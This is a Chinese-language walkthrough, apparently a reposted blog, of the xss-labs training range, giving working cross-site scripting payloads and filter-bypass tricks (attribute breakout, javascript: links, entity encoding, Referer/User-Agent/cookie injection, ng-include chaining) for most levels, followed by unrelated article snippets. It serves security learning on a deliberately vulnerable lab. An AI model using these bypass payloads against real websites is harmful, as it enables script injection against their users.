xss-labs靶场通关详解

news2024/11/29 12:46:11

文章目录

    • 前言
    • level1
    • level2
    • level3
    • level4
    • level5
    • level6
    • level7
    • level8
    • level9
    • level10
    • level11
    • level12
    • level13
    • level14
    • level15
    • level16
    • level17
    • level18
    • level19&level20


前言

赶着假期结尾的时候,赶紧给自己找点任务做。现在对xss还是一知半解,只是了解个大概,js基础也不牢(好好好真零基础 )。那么只能一步步来,写下这篇博客记录我xss的学习

level1

观察一下,发现参数name的值可以修改
我们试试构造xss漏洞并验证

?name=<script>alert(/xss/)</script>

成功执行
在这里插入图片描述

level2

点击确定进入关卡2,页面如下,有一个搜索输入框
输入测试过滤语句

<script " 'Oonn>

在这里插入图片描述

发现输入框<script后面的双引号消失了
我们右键查看页面源代码,观察闭合方式

在这里插入图片描述我们这里可以看到,在input的value值前面是有双引号

那么我们怎么样可以插入js代码呢
我们添加">闭合前面的<input的方式来绕过

payload

"><script>alert(/xss/)</script><"

网页执行结果

<input name=keyword  value=""><script>alert(/xss/)</script><"">

成功绕过
在这里插入图片描述

level3

来到第三关,老样子测试过滤语句

<script " 'Oonn>

在这里插入图片描述发现单引号消失了,右键查看页面源代码
发现闭合方式为单引号,且大小于号和双引号被转义

在这里插入图片描述这里运用事件触发xss
结合上一关,我们修改payload

' onmouseover='alert(/xss/)

网页执行结果

<input name=keyword  value='' onmouseover='alert(/xss/)'>	

成功绕过

在这里插入图片描述

level4

到第四关,先测试语句

在这里插入图片描述发现大于号小于号被转义了,和前一关一样用事件来触发
右键查看源代码,闭合方式为双引号

在这里插入图片描述payload

" onmouseover="alert(/xss/)

成功绕过
在这里插入图片描述

level5

还是一样测试语句,右键查看页面源代码
发现script和on开头的两个关键字都被转义,大小于号和引号没有被过滤与转义。同时语句采用双引号闭合方式。

在这里插入图片描述这里我们利用的方法是超链接注入
payload

"><a href="javascript:alert(/xss/)">click me!</a><"

解释:

它创建了一个超链接(<a> 标签)并包含了 JavaScript 代码。在此代码中,href 属性被设置为
javascript:alert(‘xss’),这意味着当用户点击该链接时,将执行 JavaScript 代码 alert(‘xss’)。

搜索后再点击我们的超链接,即可绕过

在这里插入图片描述

level6

这关输入测试语句后,访问页面源代码
发现在script被转义

在这里插入图片描述

这里用的是大小写绕过
payload

"><SCript>alert(/xss/)</SCript>"<

成功绕过

在这里插入图片描述

level7

输入测试语句,查看页面源代码
发现script被过滤,第一个On也被过滤了(眼尖实锤)

在这里插入图片描述结合第四关的绕过方式
我们稍作修改,payload

" oonnmouseover="alert(/xss/)

注:oonn是为了绕过检测

成功绕过

在这里插入图片描述

level8

这一关就不像前面的回显输入结果,我们只能右键查看源代码
发现大小于号和双引号被转义但是参数被传递到a标签的herf属性中,大小于号被转义回来,双引号还是被转义着、关键字被插入下划线,单引号没事。

在这里插入图片描述对此,我们考虑注入href的伪协议
构造参数为 javascript:alert(/xss/),上传发现还是被添加下划线

在这里插入图片描述

那么我们只能对上传参数进行部分编码
这里用的是html实体编码,我采用的是十六进制的
在这里插入图片描述payload

javas&#x0063;ript:alert(/xss/)

解释:

javascript 是一个将 JavaScript 字符串 javascript 中的字符 ‘s’ 使用实体编码表示的方式。在这个编码中,c 表示字符 ‘c’ 的 Unicode 码点。

成功绕过

在这里插入图片描述

level9

还是输入测试代码,点击友情链接
发现大小于号和双引号被转义了,且链接不合法
在这里插入图片描述猜测需要有http://字符串出现
修改上一关的payload

javas&#x0063;ript:alert('http://')

成功绕过

在这里插入图片描述

level10

上传测试语句,发现没有变化,查看源代码
发现大小于号和双引号被转义了,同时出现三个未知参数

在这里插入图片描述

我们试试传入

?t_sort=<script " 'Oonn>

然后再右键查看源代码
发现只是过滤了大小于号(这个我们可以用事件触发)

在这里插入图片描述payload

?t_sort=click me!" type="button" onmouseover="alert(/xss/)

页面执行结果

<input name="t_sort"  value="click me!" type="button" onmouseover="alert(/xss/)" type="hidden">

在这里插入图片描述

level11

这一关和上一关差不多,但是出现的四个参数只有t_sort有回显
在这里插入图片描述仔细往下看问题就出现了,这样我们需要用双引号进行闭合但是双引号被转义。尝试过对大小于号、双引号进行编码以求绕过,发现还是不行。

那么我们转换下思路,其他三个参数没有回显,说不定不是通过url地址传递的,可能是http请求的某部分
尝试在Referer添加测试语句
在这里插入图片描述发现成功绕过,并且没有出现过滤的信息

在这里插入图片描述
payload

referer:click me!" type="button" onmouseover="alert(/xss/)

在这里插入图片描述

level12

上传测试语句,还是被转义
观察到参数t_ua的值为User Agent,找到可以利用的点
在这里插入图片描述用HackBar传参测试语句
发现只有大小于号被转义

在这里插入图片描述
所以我们像上题直接事件触发
payload

User Agent:click me!" type="button" onmouseover="alert(/xss/)

在这里插入图片描述

level13

右键源代码,发现还是有四个未知参数
我们查看网络,发现cookie值有线索

在这里插入图片描述

猜测应该是cookie值传参user实现构造xss漏洞
我们试试测试语句
在这里插入图片描述
发现还是大小于号被转义

在这里插入图片描述

payload

user=click me!" type="button" onmouseover="alert(/xss/)

在这里插入图片描述

level14

跟exif有关,略

level15

题目源码

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

分析一下,这里htmlspecialchars() 函数会把预定义的字符转换为 HTML 实体,其中就包括大小于号,然后还发现ng-include(其作用相当于php的include函数)

htmlspecialchars() 函数

把一些预定义的字符转换为 HTML 实体

预定义的字符是:

& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 '
< (小于)成为 &lt;
> (大于)成为 &gt;

ng-include

ng-include指令一般用于包含外部的 HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一个域名下。很有可能这个指令就是突破口,所以我们可以包含一个有漏洞的页面

特别值得注意的几点如下:

  1. ng-include,如果单纯指定地址,必须要加引号
  2. ng-include,加载外部html,script标签中的内容不执行
  3. ng-include,加载外部html中含有style标签样式可以识别

所以payload为

?src='level1.php?name=<a href="javascript:alert(/xss/)">'

注:利用第一关的xss漏洞
在这里插入图片描述

level16

源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

分析一下,对我们上传的值进行替换
发现空格、反斜杠、script均被替换为空格,因此考虑用%0A绕过空格

payload

?keyword=<img%0asrc="1.jpg"%0aonerror=alert(1)>

注:onerror作用为加载图片失败后会触发

在这里插入图片描述

level17

源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

我们提交的参数在<embed>标签的src属性中,这一关有两个参数:arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。<embed>标签就是引入一个swf文件【SWF格式是动画软件Flash的专用格式】到浏览器端,并且它的src属性值不需要闭合

payload

?arg01= onclick&arg02=alert('xss')

这里由于电脑配置问题,swf文件显示不出来

level18

与上一关方法相同

level19&level20

这两关涉及flash xss
常见的可触发xss的危险函数有:
getURL navigateToURL ExternalInterface.call htmlText loadMovie

要想知道这一关的是不是属于flash xss,只需要对引用的swf文件,进行反编译然后进行源码分析。反编译的工具是jpexs-decompiler
项目地址

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/951732.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

红黑树及其应用介绍(万字长文)

红黑树 定义与性质 红黑树是一种特殊的二叉查找树&#xff0c;它遵循了特定的规则使得其具有了平衡性。红黑树的定义包括以下几个方面&#xff1a; 每个节点要么是红色&#xff0c;要么是黑色。根节点是黑色的。每个叶子节点&#xff08;NIL节点&#xff0c;空节点&#xff…

使用c的标准库函数创建线程

#include <stdio.h> #include <threads.h> #include <time.h>int thrd_proc(void * varg){// 打印10次int times 10;struct timespec ts {1,0}; // 1秒, 0纳秒while(times--){printf("%s\n",(char *)varg);// 每隔1秒,打印一次thrd_sleep(&t…

23062网络编程day4

作业&#xff1a; 多进程并发服务器根据流程图重新编写。 #include <myhead.h>#define ERR_MSG(msg) do{\fprintf(stderr,"__%d__",__LINE__);\perror(msg);}while(0) #define PORT 8888 #define IP "192.168.114.104" void handler(int sig) {whi…

ELK安装、部署、调试(四)KAFKA消息队列的安装和部署

1.简介 Kafka是一种高吞吐量的分布式发布订阅消息系统&#xff0c;它可以处理消费者在网站中的所有动作流数据。 这种动作&#xff08;网页浏览&#xff0c;搜索和其他用户的行动&#xff09;是在现代网络上的许多社会功能的一个关键因素。 这些数据通常是由于吞吐量的要求而通…

【docker】运行redis

拉取redis镜像 有多种选择&#xff1a; redis&#xff08;基础版&#xff09;redis/redis-stack&#xff08;包含redis stack server和RedisInsight&#xff09;redis/redis-stack-server&#xff08;仅包含redis stack server&#xff09; docker pull redis docker pull r…

AE2018 安装过程

双击打开安装包&#xff0c;大概等五分钟后。 出现下边安装界面。 安装成功。 可以将图标发送到桌面快捷方式。

用列表实现堆栈和用列表实现队列(实现队列最好用 collections.deque)学习

实现队列的代码测试 from collections import dequedeque1 deque([a, b, c]) deque1.append(1) deque1.append(2) deque1.append(3) for i in range(4,20):deque1.append(i)print(deque1)deque1.popleft()print(deque1)运行结果 E:\Python\Python38\python.exe D:/pythonpro…

零撸大肉,赛博尔Seppol游戏,无限制闯关打碎片,装备,直接变现项目。

2023年7月10日&#xff0c;在上海外滩酒店—— 由来自硅谷、华尔街的技术先锋&#xff0c;与中国科技翘楚阿里、腾讯的骨干团队联手呈现&#xff0c;区块链元宇宙游戏塞波尔 Seppol于上海精彩亮相路演。 1&#xff0c;栖息之地&#xff0c;宠物可放入栖息之地进行挖矿&#xf…

在css中设计好看的阴影

在css中设计好看的阴影 在本文中&#xff0c;我们将学习如何将典型的盒子阴影转换为更好看的的阴影。 统一角度 当我们想要一个元素有阴影时&#xff0c;会添加box-shadow属性并修改其中的数字&#xff0c;直到满意为止。 问题是&#xff0c;通过像这样单独创建每个阴影&…

ctfshow—萌新—杂项1

0x00 前言 CTF 加解密合集CTF Web合集 0x01 题目 0x02 Write Up ed400fbcff269bd9c65292a97488168a 首先这是一个md5&#xff0c;然后在线解密一下&#xff0c;解密站点 https://www.somd5.com/ 解密出来的内容是helloctf 然后去掉ctf就是最终的答案 结果就是flag{hello}…

浅谈红队资产信息收集经验

文章目录 子公司资产收集备案号|官网收集子域名|ip收集fofa灯塔ARLX情报社区 资产确认目录扫描Google Hacking绕过CDNnmap端口扫描参数技巧其他常用工具 子公司资产收集 红蓝对抗中往往只会给你目标企业的名称&#xff0c;以及对应的靶标系统地址&#xff0c;而很少有直接从靶标…

error:0308010C:digital envelope routines::unsupported

我打算再学一下这个vue2移动端开发项目&#xff0c;发现我报这个错 error:0308010C:digital envelope routines::unsupported 想了一下 &#xff0c;自己创建vue框架流程没有问题,怎么会报这个错&#xff1b;一想是node原因 注意的地方&#xff1a;无论自己创建的vue项目还是从…

启迪未来:学乐多光屏P90引领儿童智能学习革命

在当今数字化时代&#xff0c;教育方式正经历着巨大的变革&#xff0c;智能硬件为教育领域带来了前所未有的机遇和挑战。学乐多光屏学习机作为一款创新的教育智能硬件产品&#xff0c;以其独特的特点和优势&#xff0c;引领着学习机领域的发展潮流。 1. 多功能融合&#xff1a;…

红黑树(AVL树的优化)下(代码实现)

我们先简单的将节点找到要插入的位置&#xff0c;进行前后链接&#xff08;先不进行调整&#xff09; 解决情况一的 &#xff1a; cur为红&#xff0c;parent是红 &#xff0c; grandfater是黑&#xff0c;uncle存在且为红的情况 情况二情况三&#xff1a;

nuxt3+ts+vue3的ssr项目总结

目录 一、什么是SSR、SEO、SPA&#xff0c;它们之间的关系又是怎样的。 二、VUE做SSR的几种方法 1、插件prerender-spa-plugin 2、VUE开启SSR渲染模式 3、使用NUXT框架 三、NUXT3VUE3TS &#xff08;一&#xff09;基本配置 1、文件夹介绍 assets components pages…

新版HBuilderX在uni_modules创建搜索search组件

1、创建自定义组件 my-search 新版HBuilder没有了 component 文件夹&#xff0c;但是有 uni_modules 文件夹&#xff0c;用来创建组件&#xff1a; 右键 uni_modules 文件夹&#xff0c;点击 新建uni_modules创建在弹出框&#xff0c;填写组件名字&#xff0c;例如&#xff1a…

分布式集群——搭建Hadoop环境以及相关的Hadoop介绍

系列文章目录 分布式集群——jdk配置与zookeeper环境搭建 分布式集群——搭建Hadoop环境以及相关的Hadoop介绍 文章目录 前言 一 hadoop的相关概念 1.1 Hadoop概念 补充&#xff1a;块的存储 1.2 HDFS是什么 1.3 三种节点的功能 I、NameNode节点 II、fsimage与edits…

Go的数据结构-hashmap

开放寻址法和拉链法 runtime.hamp bucket的数据结构 bucket的指针指向这里 map初始化&#xff1a;make 和字面量 make初始化 新建一个hamp结尾体&#xff0c;计算大B&#xff0c;创建一个桶数组 字面量初始化 map的并发解决 sync.map

25.CSS自定义形状按钮与悬停效果

效果 源码 <!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>CSS Custom Shape Button</title><link rel="stylesheet" href="style.css"> </head> <body&…

对战ChatGPT,创邻科技的Graph+AI会更胜一筹吗?

大模型&#xff08;大规模语言模型&#xff0c;即Large Language Model&#xff09;的应用已经成为千行百业发展的必然。特定领域或行业中经过训练和优化的企业级垂直大模型则成为大模型走下神坛、真正深入场景的关键之路。 但是&#xff0c;企业级垂直大模型在正式落地应用前…